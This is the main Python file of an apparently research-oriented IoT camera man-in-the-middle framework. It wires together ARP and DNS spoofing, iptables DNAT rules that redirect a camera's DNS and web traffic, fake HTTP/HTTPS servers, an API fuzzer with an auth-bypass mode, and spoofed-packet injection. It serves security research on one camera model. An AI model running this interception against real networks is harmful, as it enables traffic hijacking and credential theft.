Files
cam-mitm/mitm.py
sssnake 800052acc2 Initial commit — SetecSuite Camera MITM Framework
Original tooling from the Camhak research project (camera teardown of a
rebranded UBIA / Javiscam IP camera). PyQt6 GUI on top of a curses TUI on
top of a service controller; per-service start/stop, intruder detection,
protocol fingerprinting, OAM HMAC signing, CVE verifiers, OTA bucket
probe, firmware fetcher, fuzzer, packet injection.

Tabs: Dashboard, Live Log, Intruders, Cloud API, Fuzzer, Inject, CVEs,
Config, Help. Real-time per-packet protocol detection, conntrack-based
original-destination lookup, log rotation at 1 GiB.

See SECURITY_PAPER.md for the full writeup, site/index.html for the
public report, README.md for usage. Run with:
    sudo /usr/bin/python3 gui.py

Co-authored by Setec Labs.
2026-04-09 08:14:18 -07:00

532 lines
21 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
#!/usr/bin/env python3
"""
SetecSuite — Camera MITM Tool
All-in-one IoT camera pentesting framework with TUI.
Usage: sudo python3 mitm.py
"""
import curses
import os
import sys
import json
import signal
import threading
import time
from collections import deque
# Add project root to path
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from config import Config
from utils.log import log, log_lines, init_logfile, close_logfile, lock
from utils.log import C_NONE, C_ERROR, C_SUCCESS, C_INFO, C_TRAFFIC, C_IMPORTANT
from services import arp_spoof, dns_spoof, http_server, udp_listener, sniffer, intruder_watch
from api import ubox_client, server as rest_server, fuzzer
from inject import packet
SERVICE_DEFS = [
# (name, flag_key, runner_factory)
("arp", "arp", lambda cfg, flags, ck: arp_spoof.run(cfg, flags, ck)),
("dns", "dns", lambda cfg, flags, ck: dns_spoof.run(cfg, flags, ck)),
("http", "http", lambda cfg, flags, ck: http_server.run_http(cfg, flags, ck)),
("https", "https", lambda cfg, flags, ck: http_server.run_https(cfg, flags, ck)),
("udp10240", "udp10240", lambda cfg, flags, ck: udp_listener.run(10240, cfg, flags, ck)),
("udp20001", "udp20001", lambda cfg, flags, ck: udp_listener.run(20001, cfg, flags, ck)),
("sniffer", "sniffer", lambda cfg, flags, ck: sniffer.run(cfg, flags, ck)),
("intruder", "intruder", lambda cfg, flags, ck: intruder_watch.run(cfg, flags, ck)),
]
SERVICE_NAMES = [s[0] for s in SERVICE_DEFS]
SERVICE_BY_NAME = {s[0]: s for s in SERVICE_DEFS}
class Controller:
def __init__(self):
self.cfg = Config()
self.flags = {}
self.running = True
self.services_running = False
self.fuzzer = None
self._devices = []
# per-service running state for individual on/off
self._svc_running = {n: False for n in SERVICE_NAMES}
self._iptables_up = False
def get_devices(self):
return self._devices
# ─── Service Control ──────────────────────────────────
def _ensure_iptables(self):
if not self._iptables_up:
os.system("pkill -f arpspoof 2>/dev/null")
os.makedirs(self.cfg["log_dir"], exist_ok=True)
self._setup_iptables()
self._iptables_up = True
def start_service(self, name):
if name not in SERVICE_BY_NAME:
log(f"unknown service: {name}", C_ERROR)
return
if self._svc_running.get(name):
log(f"{name} already running", C_ERROR)
return
self._ensure_iptables()
# Free ports if needed
if name == "http":
os.system("fuser -k 80/tcp 2>/dev/null")
elif name == "https":
os.system("fuser -k 443/tcp 2>/dev/null")
elif name == "dns":
os.system("fuser -k 53/udp 2>/dev/null")
elif name == "udp10240":
os.system("fuser -k 10240/udp 2>/dev/null")
elif name == "udp20001":
os.system("fuser -k 20001/udp 2>/dev/null")
time.sleep(0.2)
self._svc_running[name] = True
check = lambda n=name: self.running and self._svc_running.get(n, False)
runner = SERVICE_BY_NAME[name][2]
threading.Thread(
target=lambda: runner(self.cfg, self.flags, check),
daemon=True,
name=f"svc-{name}",
).start()
self.services_running = any(self._svc_running.values())
log(f"started: {name}", C_SUCCESS)
def stop_service(self, name):
if name not in SERVICE_BY_NAME:
log(f"unknown service: {name}", C_ERROR)
return
if not self._svc_running.get(name):
log(f"{name} not running", C_ERROR)
return
self._svc_running[name] = False
log(f"stopping: {name}", C_INFO)
# Force-close listening sockets so accept() unblocks
if name == "http":
os.system("fuser -k 80/tcp 2>/dev/null")
elif name == "https":
os.system("fuser -k 443/tcp 2>/dev/null")
elif name == "dns":
os.system("fuser -k 53/udp 2>/dev/null")
elif name == "udp10240":
os.system("fuser -k 10240/udp 2>/dev/null")
elif name == "udp20001":
os.system("fuser -k 20001/udp 2>/dev/null")
time.sleep(0.5)
self.flags[name] = False
self.services_running = any(self._svc_running.values())
def toggle_service(self, name):
if self._svc_running.get(name):
self.stop_service(name)
else:
self.start_service(name)
def start_services(self):
if self.services_running:
log("Services already running", C_ERROR)
return
self._ensure_iptables()
for name in SERVICE_NAMES:
self.start_service(name)
time.sleep(0.3)
log("All MITM services started", C_SUCCESS)
def stop_services(self):
if not self.services_running:
log("Services not running", C_ERROR)
return
log("Stopping all services...", C_INFO)
for name in SERVICE_NAMES:
if self._svc_running.get(name):
self.stop_service(name)
time.sleep(1)
self._cleanup_iptables()
self._iptables_up = False
self.flags.clear()
self.services_running = False
log("Services stopped", C_INFO)
def _setup_iptables(self):
cam = self.cfg["camera_ip"]
us = self.cfg["our_ip"]
for cmd in [
"sysctl -w net.ipv4.ip_forward=1",
"iptables -A OUTPUT -p icmp --icmp-type redirect -j DROP",
f"iptables -t nat -A PREROUTING -s {cam} -p udp --dport 53 -j DNAT --to-destination {us}:53",
f"iptables -t nat -A PREROUTING -s {cam} -p tcp --dport 80 -j DNAT --to-destination {us}:80",
f"iptables -t nat -A PREROUTING -s {cam} -p tcp --dport 443 -j DNAT --to-destination {us}:443",
]:
os.system(cmd + " >/dev/null 2>&1")
log("iptables rules applied", C_INFO)
def _cleanup_iptables(self):
cam = self.cfg["camera_ip"]
us = self.cfg["our_ip"]
for cmd in [
"iptables -D OUTPUT -p icmp --icmp-type redirect -j DROP",
f"iptables -t nat -D PREROUTING -s {cam} -p udp --dport 53 -j DNAT --to-destination {us}:53",
f"iptables -t nat -D PREROUTING -s {cam} -p tcp --dport 80 -j DNAT --to-destination {us}:80",
f"iptables -t nat -D PREROUTING -s {cam} -p tcp --dport 443 -j DNAT --to-destination {us}:443",
]:
os.system(cmd + " >/dev/null 2>&1")
# ─── Fuzzer ───────────────────────────────────────────
def run_fuzz_endpoints(self):
self.fuzzer = fuzzer.Fuzzer(self.cfg)
self.fuzzer.fuzz_endpoints()
self.fuzzer.save_results()
def run_fuzz_params(self, endpoint):
self.fuzzer = fuzzer.Fuzzer(self.cfg)
self.fuzzer.fuzz_params(endpoint)
self.fuzzer.save_results()
def run_fuzz_auth(self):
self.fuzzer = fuzzer.Fuzzer(self.cfg)
self.fuzzer.fuzz_auth()
self.fuzzer.save_results()
# ─── Packet Injection ─────────────────────────────────
def inject_packet(self, params):
return packet.inject(self.cfg, params)
# ─── Command Processing ───────────────────────────────
def process_command(self, cmd):
parts = cmd.strip().split()
if not parts:
return
c = parts[0].lower()
if c == "help":
for line in HELP.split("\n"):
log(line, C_INFO)
elif c == "start":
threading.Thread(target=self.start_services, daemon=True).start()
elif c == "stop":
threading.Thread(target=self.stop_services, daemon=True).start()
elif c == "status":
flags = ", ".join(f"{k}:{'ON' if v else 'off'}" for k, v in self.flags.items())
log(f"MITM: {'RUNNING' if self.services_running else 'STOPPED'} {flags}", C_INFO)
log(f"REST API: :{self.cfg['rest_port']} Token: {'yes' if self.cfg['api_token'] else 'no'}", C_INFO)
elif c == "config":
for k, v in self.cfg.safe_dict().items():
log(f" {k}: {v}", C_INFO)
elif c == "set" and len(parts) >= 3:
key = parts[1]
val = " ".join(parts[2:])
if key in self.cfg.keys():
# Type coerce
old = self.cfg[key]
if isinstance(old, int):
val = int(val)
elif isinstance(old, float):
val = float(val)
self.cfg[key] = val
self.cfg.save()
log(f"Set {key} = {val if 'password' not in key else '***'}", C_SUCCESS)
else:
log(f"Unknown key. Valid: {', '.join(self.cfg.keys())}", C_ERROR)
elif c == "save":
self.cfg.save()
log("Config saved", C_SUCCESS)
elif c == "login":
threading.Thread(target=ubox_client.login, args=(self.cfg,), daemon=True).start()
elif c == "devices":
def _get():
self._devices = ubox_client.devices(self.cfg)
threading.Thread(target=_get, daemon=True).start()
elif c == "firmware":
threading.Thread(target=ubox_client.check_firmware, args=(self.cfg,), daemon=True).start()
elif c == "services":
threading.Thread(target=ubox_client.device_services, args=(self.cfg,), daemon=True).start()
elif c == "families":
threading.Thread(target=ubox_client.families, args=(self.cfg,), daemon=True).start()
elif c == "api" and len(parts) >= 2:
ep = " ".join(parts[1:])
threading.Thread(target=ubox_client.raw_request, args=(self.cfg, ep), daemon=True).start()
elif c == "fuzz":
if len(parts) < 2:
log("Usage: fuzz endpoints|params <ep>|auth|stop|results", C_ERROR)
elif parts[1] == "endpoints":
threading.Thread(target=self.run_fuzz_endpoints, daemon=True).start()
elif parts[1] == "params" and len(parts) >= 3:
threading.Thread(target=self.run_fuzz_params, args=(parts[2],), daemon=True).start()
elif parts[1] == "auth":
threading.Thread(target=self.run_fuzz_auth, daemon=True).start()
elif parts[1] == "stop":
if self.fuzzer:
self.fuzzer.stop()
log("Fuzzer stopped", C_INFO)
elif parts[1] == "results":
if self.fuzzer:
self.fuzzer.save_results()
else:
log("No fuzzer results", C_ERROR)
else:
log("Usage: fuzz endpoints|params <ep>|auth|stop|results", C_ERROR)
elif c == "inject":
if len(parts) < 3:
log("Usage: inject udp <ip> <port> <hex_payload>", C_ERROR)
log(" inject arp_reply <src_ip> <dst_ip>", C_ERROR)
log(" inject dns_query <domain>", C_ERROR)
elif parts[1] == "udp" and len(parts) >= 5:
packet.inject(self.cfg, {
"type": "udp", "dst_ip": parts[2],
"dst_port": int(parts[3]),
"payload": " ".join(parts[4:]),
"payload_hex": True,
})
elif parts[1] == "arp_reply" and len(parts) >= 4:
packet.inject(self.cfg, {
"type": "arp_reply",
"src_ip": parts[2], "dst_ip": parts[3],
})
elif parts[1] == "dns_query" and len(parts) >= 3:
packet.inject(self.cfg, {"type": "dns_query", "domain": parts[2]})
else:
log("inject: invalid args", C_ERROR)
elif c == "clear":
with lock:
log_lines.clear()
elif c in ("quit", "q", "exit"):
if self.services_running:
self.stop_services()
self.running = False
else:
log(f"Unknown: {cmd}. Type 'help'.", C_ERROR)
HELP = """
── MITM Services ──────────────────────────────────────────
start Start all MITM services
stop Stop all services, restore ARP
status Show running services
── Configuration ──────────────────────────────────────────
config Show all settings
set <key> <value> Set config (camera_ip, our_ip, router_ip, iface,
camera_mac, api_email, api_password, rest_port,
fuzzer_threads, fuzzer_delay)
save Save config to disk
── UBox Cloud API ─────────────────────────────────────────
login Authenticate to UBox cloud
devices List devices (leaks creds!)
firmware Check firmware version
services Query device services
families List account families
api <endpoint> Raw POST to any API endpoint
── Fuzzer ─────────────────────────────────────────────────
fuzz endpoints Discover hidden API endpoints
fuzz params <ep> Fuzz parameters on endpoint
fuzz auth Test authentication bypass
fuzz stop Stop running fuzzer
fuzz results Save fuzzer results to file
── Packet Injection ───────────────────────────────────────
inject udp <ip> <port> <hex> Send UDP packet
inject arp_reply <src> <dst> Send spoofed ARP reply
inject dns_query <domain> Send DNS query
── General ────────────────────────────────────────────────
clear Clear log
help Show this help
quit Exit
── REST API (for external tools) ──────────────────────────
Runs on port 9090 (configurable via 'set rest_port')
GET /status, /logs, /devices, /config, /fuzz/results
POST /start, /stop, /config, /command, /api,
/fuzz/endpoints, /fuzz/params, /fuzz/auth, /inject
""".strip()
def curses_main(stdscr, ctrl):
curses.curs_set(1)
curses.start_color()
curses.use_default_colors()
curses.init_pair(1, curses.COLOR_RED, -1)
curses.init_pair(2, curses.COLOR_GREEN, -1)
curses.init_pair(3, curses.COLOR_CYAN, -1)
curses.init_pair(4, curses.COLOR_YELLOW, -1)
curses.init_pair(5, curses.COLOR_MAGENTA, -1)
curses.init_pair(6, curses.COLOR_BLACK, curses.COLOR_WHITE)
curses.init_pair(7, curses.COLOR_BLACK, curses.COLOR_GREEN)
stdscr.nodelay(True)
stdscr.keypad(True)
input_buf = ""
scroll_offset = 0
cmd_history = deque(maxlen=50)
hist_idx = -1
log("SetecSuite — Camera MITM Tool", C_INFO)
log(f"Target: {ctrl.cfg['camera_ip']} Us: {ctrl.cfg['our_ip']} Router: {ctrl.cfg['router_ip']}", C_INFO)
log(f"REST API on :{ctrl.cfg['rest_port']} | Type 'help' for commands", C_INFO)
log("", C_NONE)
# Start REST API server
threading.Thread(target=rest_server.start_server,
args=(ctrl, ctrl.cfg["rest_port"]), daemon=True).start()
while ctrl.running:
try:
h, w = stdscr.getmaxyx()
if h < 5 or w < 40:
time.sleep(0.1)
continue
stdscr.erase()
# ─── Title bar ────────────────────────────────
title = " SetecSuite MITM "
parts = []
if ctrl.services_running:
parts.append("MITM:ON")
else:
parts.append("MITM:OFF")
for k, v in ctrl.flags.items():
parts.append(f"{k}:{'' if v else ''}")
if ctrl.cfg["api_token"]:
parts.append("API:✓")
if ctrl.cfg["device_uid"]:
parts.append(f"UID:{ctrl.cfg['device_uid'][:8]}")
bar = f"{title}| {' | '.join(parts)} "
pair = 7 if ctrl.services_running else 6
try:
stdscr.addstr(0, 0, bar.ljust(w)[:w], curses.color_pair(pair) | curses.A_BOLD)
except curses.error:
pass
# ─── Log area ─────────────────────────────────
log_h = h - 3
with lock:
visible = list(log_lines)
total = len(visible)
if scroll_offset > max(0, total - log_h):
scroll_offset = max(0, total - log_h)
start_idx = max(0, total - log_h - scroll_offset)
end_idx = start_idx + log_h
for i, idx in enumerate(range(start_idx, min(end_idx, total))):
line, color = visible[idx]
y = i + 1
if y >= h - 2:
break
try:
display = line[:w - 1]
attr = curses.color_pair(color) if color else 0
stdscr.addstr(y, 0, display, attr)
except curses.error:
pass
# ─── Separator ────────────────────────────────
try:
stdscr.addstr(h - 2, 0, "" * (w - 1), curses.color_pair(3))
except curses.error:
pass
# ─── Input ────────────────────────────────────
prompt = " "
try:
stdscr.addstr(h - 1, 0, prompt, curses.color_pair(2) | curses.A_BOLD)
stdscr.addstr(h - 1, len(prompt), input_buf[:w - len(prompt) - 1])
stdscr.move(h - 1, min(len(prompt) + len(input_buf), w - 1))
except curses.error:
pass
stdscr.refresh()
# ─── Key handling ─────────────────────────────
try:
ch = stdscr.getch()
except:
ch = -1
if ch == -1:
time.sleep(0.04)
continue
elif ch in (10, 13): # Enter
if input_buf.strip():
cmd_history.appendleft(input_buf)
hist_idx = -1
ctrl.process_command(input_buf)
input_buf = ""
scroll_offset = 0
elif ch == 27: # Escape
input_buf = ""
hist_idx = -1
elif ch in (curses.KEY_BACKSPACE, 127, 8):
input_buf = input_buf[:-1]
elif ch == curses.KEY_UP:
if cmd_history:
hist_idx = min(hist_idx + 1, len(cmd_history) - 1)
input_buf = cmd_history[hist_idx]
elif ch == curses.KEY_DOWN:
if hist_idx > 0:
hist_idx -= 1
input_buf = cmd_history[hist_idx]
elif hist_idx == 0:
hist_idx = -1
input_buf = ""
elif ch == curses.KEY_PPAGE:
scroll_offset = min(scroll_offset + log_h, max(0, total - log_h))
elif ch == curses.KEY_NPAGE:
scroll_offset = max(0, scroll_offset - log_h)
elif ch == curses.KEY_HOME:
scroll_offset = max(0, total - log_h)
elif ch == curses.KEY_END:
scroll_offset = 0
elif 32 <= ch < 127:
input_buf += chr(ch)
except KeyboardInterrupt:
if ctrl.services_running:
ctrl.stop_services()
ctrl.running = False
except Exception as e:
log(f"UI: {e}", C_ERROR)
time.sleep(0.1)
def main():
if os.geteuid() != 0:
print("Run with: sudo python3 mitm.py")
sys.exit(1)
ctrl = Controller()
os.makedirs(ctrl.cfg["log_dir"], exist_ok=True)
init_logfile(f"{ctrl.cfg['log_dir']}/mitm.log")
signal.signal(signal.SIGINT, lambda s, f: None) # Let curses handle it
try:
curses.wrapper(lambda stdscr: curses_main(stdscr, ctrl))
finally:
if ctrl.services_running:
ctrl.stop_services()
close_logfile()
print(f"\nLogs: {ctrl.cfg['log_dir']}/")
print(f"Config: {Config.CONFIG_FILE if hasattr(Config, 'CONFIG_FILE') else 'config.json'}")
if __name__ == "__main__":
main()